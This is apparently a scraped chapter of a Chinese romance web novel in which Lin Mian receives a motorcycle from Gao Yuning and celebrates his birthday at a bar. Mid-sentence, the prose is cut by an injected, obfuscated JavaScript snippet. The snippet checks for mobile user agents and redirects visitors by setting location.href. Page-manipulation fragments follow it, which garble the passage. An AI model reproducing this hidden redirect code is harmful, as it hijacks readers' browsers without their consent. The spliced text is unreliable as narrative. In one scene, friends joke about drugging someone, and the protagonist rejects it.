郜屿宁确实只是正常力度、而且按摩得专业到位,但林缅身娇肉贵,痛感阈值很低,平时有点小磕小碰都要叫唤半天。 “怎么这么怕疼?”郜屿宁问着,把“人为刀俎我为鱼肉”状的林缅翻了个面。 “你自己试试…”林缅眼泪汪汪地说道,但最后变得心虚,因为林缅之前没少帮郜屿宁拉伸过,也没见他叫过一声。 他气势很弱地别过头,小声说,“你不疼因为你那是死肌肉…” 也不知道从哪里听来的词,他自己都不知道什么意思,就又开始逞一时口舌之快地用起来。 郜屿宁手上的动作顿了一下,紧接着笑问,“你说什么?” 林缅见郜屿宁已经把狼牙棒放到一边,俯身看向他,他把头偏得更厉害些,脸上眼泪未干,“不想理你。” 郜屿宁笑意玩味,把他的脸掰正,“再说一遍。” 林缅抿着嘴,之前噙着的眼泪因为他扭头的动作又从眼角流下来。 郜屿宁见他摆出赌气不理人的架子,手伸向林缅大腿上那一块发胀发酸的肉,捏了一把。 “啊啊啊啊啊!”林缅挣扎着要逃,但被郜屿宁摁得动弹不得,“不疼!”他还不知死活地加了一句。 郜屿宁笑着手上加了点力气。 “啊啊啊啊啊啊!好舒服呀!”尾音都带上哭腔了,林缅还在赖赖唧唧地嘴硬。 两个人打闹完一通,林缅趴在郜屿宁的胸口喘着气,身子随着呼吸小幅度地起伏着,喃喃,“就知道欺负我…” 郜屿宁的手伸进他的T恤里,在他背上轻轻抚摸着,嘴上却说,“谁先挑事儿的?” “那你也不能这么对我,都被掐紫了…”林缅想要起身把短裤掀起来给他看,但是累得实在动不了,还是安分地趴在郜屿宁身上。 “少往我身上赖,根本没使劲。” 林缅贴在郜屿宁胸口的脸换了个面,抱怨,“今天丢死人了…” 郜屿宁笑着问,“你哪天不这样?”即便是在家里用筋膜枪,林缅闹得一把眼泪一把鼻涕、口不择言也是家常便饭了。 林缅抬起头,瞪了他一眼,“外面那么多人呢!肯定都听到了!” 郜屿宁抬起胳膊垫在头下,看向林缅的视线因此倾斜了一些,嘴角抬起一个恰到好处的弧度,“哦,生怕谁听到?” 19.第 19 章 “我怕别人以为你家暴!” 说着林缅又重重地趴到郜屿宁的胸口。 郜屿宁推了推他肩膀,“起来。” “不要。” 林缅闷闷地回答,但是脑袋往上移了移,在郜屿宁的脖颈轻轻嗅了一下,没有汗味,只有一股带着淡淡潮意的雪松香。 “哥,你知道ABO嘛?我经常听我们班女孩子讲…” “什么?” “我也不太清楚,好像就是alpha和omega会有味道上的吸引,就像我闻到你的味道就会很安心很好闻…” 郜屿宁并不经常喷香水,明明两人用得都是同样的沐浴露和洗衣液,为什么在郜屿宁身上就能留香这么久,甚至还多了一点别的好闻的感觉。 林缅说着又轻轻嗅了两下。 “那两个alpha之间呢?”郜屿宁难得地愿意听他扯这些鬼话。 “好像会互相压制。” 郜屿宁摸着林缅后颈的小发茬,笑着问,“那你怎么会觉得好闻,你不应该觉得难受。” 林缅一本正经地解释,“因为我是omega呀。” 郜屿宁的手微微顿了一下。 “如果我真的是omega就好了。”林缅自顾自地低语了一句。 郜屿宁说,“过来,我闻闻你什么味道。” 林缅把自己脖子凑过去,轻轻贴到了郜屿宁的鼻尖,郜屿宁故意逗他,“一股汗味儿,臭。” “哦…”林缅却反常地没有闹,垂下眼睛,听话地撑着自己身子从地上爬起来,因为肌肉酸胀腿脚很不麻利地走向门口。 两个人一起走回淋浴间冲了澡。回家路上,林缅也少见地没有叽叽喳喳,手里玩着出健身房时大胸肌塞给他的宣传单。 郜屿宁扫了眼副驾兴致不高的脑袋,“过两天生日跟朋友过吗?” 林缅轻轻点了点头,“不然呢?难道你会陪我吗?” 郜屿宁确实没有时间,他清了清嗓子,“晚上还回来吗?” 林缅扭过头,“什么意思?你就这么想把我推出去,连家都不想让我回了?” “不是,那我晚上来接你,再陪你玩会儿,这样可以吧?”想难得慷慨一次让林缅在外面玩个痛快,结果林缅又要一点就炸,郜屿宁无奈地笑着说。 “嗯。”林缅还是幽怨地看了他一眼,闷闷不乐地倒回靠椅,看似认真地研究着手里的宣传单,实则心不在焉。 汽车快要驶入地下室,郜屿宁车速减慢了一些,“今年怎么没吵着要看生日礼物了?” 自从入这个月开始,林缅就已经陆陆续续收到不少礼物了,连在国外林准的礼物他都已经收到了。 唯独郜屿宁的礼物他最期待,却也没问。 林缅故意说,“哪有追着要礼物的,显得我多不值钱似的。” “那我追着要给你,行不行?”郜屿宁知道他色厉内荏,调侃地顺着他说。 汽车丝滑地使入车位中,车内恢复安静。 “那也不是不行。”林缅说。 林缅抱着健身包,也下了车。郜屿宁穿着一身黑色的运动套装,一只手插在裤兜里,朝着上楼通道的另一个方向走去。 林缅忍着肌肉的酸痛,加快了步伐,追到他身后,垂着脑袋盯着他的脚后跟,又慢慢拖着步子走。 走了一段距离,郜屿宁停下脚步,抱着手臂转身看了眼林缅,又扭过头。林缅掀起眼皮,看向郜屿宁,又顺着他的目光看向墙边。 一只猛虎蛰伏在停车场光线阴暗处,黑色的车衣下并不张扬,但单看轮廓,就能觉察出藏匿的不凡气势。 林缅愣住,动作迟缓地重新看向郜屿宁。 郜屿宁看着他偏了偏头,林缅依旧愣在原地。 郜屿宁只好笑着向前走了两步,手搭在车上,“傻了?” 随着哗得一声,车衣掀起一阵风,黑色的野兽无处遁形,线条锐利,光泽迷人。 “哥!”林缅这才反应过来,把健身包直接丢在了地上,朝郜屿宁蹦了过去,一把搂住他的脖子。 “哥,送给我的嘛!你居然允许我骑摩托了!”林缅激动地扭着身子,巴不得抱着郜屿宁的脸啃起来。 郜屿宁拽着他的胳膊把他拉下来,淡淡地看着他,“我有说过不允许你骑摩托吗?” “怎么没有…那天我在公司门口碰到你,你冷暴力我好久呢。”林缅语气委屈巴巴。 “还敢提?你那副不要命的样子当我没看见?” 郜屿宁目光落在他身上。 林缅自知骑摩托的时候一味的追求速度和刺激,压了个很低的弯还正好被郜屿宁撞见。他有些心虚地垂下目光。 “林缅,你有什么事情好好说我没有同意了?” 林缅头垂得更低了一点。 就连之前想要留在国内的事情,郜屿宁从一开始说得就是“你自己想清楚”,而不是“你一定要听话出国”,任凭林缅以前是个容易见异思迁、想一出是一出的人,但他还是在和好之前就看了他的卷子、帮他对症下药地分析弱点。 郜屿宁从口袋里掏出车钥匙,在空中晃了晃,碰撞在一起发出金属摩擦的声音,林缅重新亮起眼睛伸手要去接。 郜屿宁却收手躲过了,直白地看向他的眼睛,“但是你得对你自己负责。” “有些话你可能不爱听,但我还是要说。以前很多事情,我能帮你解决,是,我解决不了的,你还有你爸你亲哥。” “但是,生命安全就是最简单的例子,很多事情不是有钱就能摆平的。” 林缅抿直了嘴唇,看着郜屿宁认真的眼神。 “还有,你知道我为什么要帮你复习吗?”郜屿宁继续说,“不是因为你爸是我老板,也不是因为你以为很好用的任性撒泼起了作用。” 林缅咬着嘴唇,看着郜屿宁胸口起伏了一下,声音低沉了一些,“是因为我觉得你和以前确实不太一样了,” “你好像不是一时兴起,下的决心也要比我以为的要坚定很多,虽然我不知道你到底是因为什么,当然,你有秘密可以不告诉我。” “所以我才认真看了你的卷子,你的基础其实并不差,也没有那么无药可救。考一个能让你爸无话可说的大学应该够用了。” 以前这些话郜屿宁从来没有跟他说过,林缅不由地鼻子发酸,就在他陷在自怜自哀的暗恋情节里的时候,郜屿宁对他的好要比他想象得还要多,滴水不漏地为他考虑到位。 郜屿宁重新把钥匙举到林缅的面前,收了语重心长的神态,微微抬着嘴角,“成年以后,做任何事情都要对自己负责,健康平安是最重要的一件。” 林缅睫毛轻颤着,眼中蒙上的水雾立刻汇成一颗饱满的泪珠滚了下来,视线没有从他的脸上偏移到钥匙上半分,又抱住了郜屿宁,“哥哥…你真好……” 郜屿宁被他撞得往后仰着,笑着说,“你也别高兴太早,再让我看到你那样骑车,马上给你没收了。” 林缅的脸埋在郜屿宁的衣领里,晃了晃脑袋,“不会的不会的,绝对不会的…我最听话了…你知道的哥哥…” 直到把郜屿宁的衣服都洇湿,林缅才不情不愿地抬起脑袋,眼睛已经红成兔子,睫毛凝成一撮一撮,显得楚楚可怜。 郜屿宁笑着打趣他,一边帮他擦眼泪,“怎么越长大还越爱哭了。”说着又拿着钥匙晃了晃,“不试试?” 林缅擦了一把眼泪,态度端正地说,“没戴头盔,不能骑车!” “哟,这么乖呢。”郜屿宁笑着摸了一把他的脑袋。 但林缅绕着摩托拍了一百零八张,还坐了上去,又让郜屿宁给他拍了一百零八张,才肯回家。 林缅:[图片] 林缅:这是我哥送我的摩托的正面。 林缅:[图片] 林缅:这是我哥送我的摩托的侧面面。 林缅:[图片] 林缅:这是我哥送我的摩托的背面。 林缅噼里啪啦在四人组群里发了一连串,狠狠炫耀了一番。 生日那天,林缅终于骑着摩托带着风声闪亮登场,行云流水地推上头盔上的护镜,冲着一旁的三人挑了挑眉,等待夸奖。 池景行很配合地鼓掌夸好帅,陈汋看着林缅,哼笑了一声,“得瑟。” 酒吧门口的门童已经等了好一会了,林缅还准备再骑一圈,但被另外两个人薅了下来。 林缅只好下了车,摘下头盔后,还不忘朝一脸崇拜的池景行抬了抬下巴,便朝酒吧走去,把手里的头盔和钥匙丢给了门童。 另外一位侍应生朝一行人微微颔首,带他们从贵宾通道走去包场的二楼卡座。 酒吧将将开场,音乐震耳,气氛已经活跃起来,巨大空间里激光变幻莫测,切开弥漫的干冰雾气,照亮从空中降落缤纷的彩纸。 也慷慨地照向舞池中,客人们摩肩接踵,随着dj的鼓点扭动身体,不乏汗水、欢笑还有情欲。 林缅撑在栏杆上,俯瞰着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998382|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,歌舞升平的场景,心脏随着鼓点也打着节奏。 陆陆续续别的朋友也到了,跟林缅打了招呼,高处不胜寒的二楼渐渐热闹起来,纷扰嘈杂的一楼只是背景板和氛围组。 林缅被拽来拽去玩酒桌游戏、被敬酒,玩嗨了又到楼下舞池里蹦累了才跑回楼上。DJ知道今天有哪家少爷庆生包了二楼所有老板台,拿着话筒祝少爷生日快乐,所有人目光投向二楼最中间的卡座。 正在给郜屿宁发消息的林缅抬起头,笑着拿起手中的酒杯,抬头一饮而尽,抬起手朝着远处的dj台晃了晃酒杯示意,好一副漫不经心的小少爷做派。 待众人注视下的哄闹浪潮退去,林缅早就玩尽兴了,重重地倒在沙发靠背上,“其实没啥意思,要是我哥在就好了…” 提及林缅的哥哥,徐语常问,“上次不是说你哥不让你骑摩托吗?怎么还送你摩托车。” “我哥可不是那种很迂腐的大家长,他很好的…”林缅把空酒杯放到桌上,一旁察言观色的侍应生立刻又续上。 陈汋突然意味深长地说,“那车可不便宜。” 林缅挑了挑眉,从沙发上坐起来,显摆道,“那是!我都说了,我哥对我很好。” 徐语常眯着眼睛看向一提到哥哥情绪转变极大的林缅,“瞧你这腻歪劲儿,还以为你和你哥谈上了呢。” 陈汋又接了下去,“是啊是啊,那天成人礼在宿舍你俩不就…”那天林缅光着腿骑在郜屿宁身上的样子历历在目,陈汋话说一半咳嗽了起来。 林缅的脸已经红得在这样昏暗的环境里都能看得一清二楚了,他咽了咽口水,“我哥不喜欢男的…” “他亲口跟你说的?”陈汋问。 林缅蹙眉,视线在同样一脸八卦的徐语常的脸上扫过,撇嘴说,“反正就是直的…” 陈汋接过侍应生送来的毯子,盖在旁边已经睡熟了的池景行的身上,转过头说道,“小行一开始也以为自己是直的。” “啊你…好不道德…”林缅一脸厌恶地看向陈汋。 “后来吃了药之后,很快就调理好了。”陈汋不以为然地继续加码。 林缅瞪大了眼睛,“你给他下药?你个畜生!” “不是,其实也没吃……哎我跟你说这个干嘛…”陈汋扫了他一眼,住了口。 眼看林缅就要急眼,徐语常接过话茬,解释道,“不是,是小池自己要吃药。” “什、什么意思。”林缅的脑子宕机了。 “字面意思,他以为自己在床上不行,就偷偷问徐语常要了那种药,还好徐语常提前告诉我了,才没让他吃成。” 陈汋解释了一通,林缅试探着问,“然后呢?” 陈汋啧了一声,“不该问的别问。” 林缅又看向徐语常,“你怎么什么东西都有?” “上次帮小行买完之后还有剩的,就在车上,你要给你哥试试吗?”徐语常视线淡淡地在他脸上扫过,故意说,语气却轻描淡写。 林缅像是听到一声轰鸣,把脑子里的秩序和措辞都炸得稀巴烂,直接红着脸嚷嚷,“你说什么呢!” “这也太不道德了!” “你俩别这么看我!我是不会对我哥做这种事情的!”林缅被两人笑而不语的目光架在火上烤,脸胀得通红,拿起酒杯痛饮了一口,冰凉的酒水让他冷静了一点。 沉默了片刻后,他又慢吞吞地继续说,“而且…我哥会很难受啊…” 说话间,远远看见一个熟悉的身影跟着酒保走上二楼台阶。 郜屿宁加班结束回家换下了西装,穿了件干净明了的黑色T恤,身形高挑,发型随意地往后抓,眉目清隽,气质卓越。 “哥!”林缅从沙发上蹦起来,脸上的愁容消失不见。 纵然酒吧里音乐强劲,没人听得清林缅黏黏糊糊地喊哥哥,但是看他小跑过去的模样全然没有刚刚不可一世的小少爷架势。 还剩最后两级台阶,郜屿宁站定了揽住冲过来迎接的林缅,低声说,“小心点。” 林缅顺势把脑袋搭在郜屿宁的肩膀上,轻轻嗅了一下,闻到熟悉的味道后才抱怨,“你怎么才来,好无聊。”郜屿宁微抬嘴角,揽在林缅后腰的手轻轻捏了捏。 但从两人亲昵的模样,还是能窥见私下里林缅粘人劲儿的其中一二,又如此养眼的一幕引得众人侧目,包括楼下那些从郜屿宁出现就追在他身上的目光。 视线从这耐人寻味的一幕上收回之后,陈汋和徐语常对视了一眼。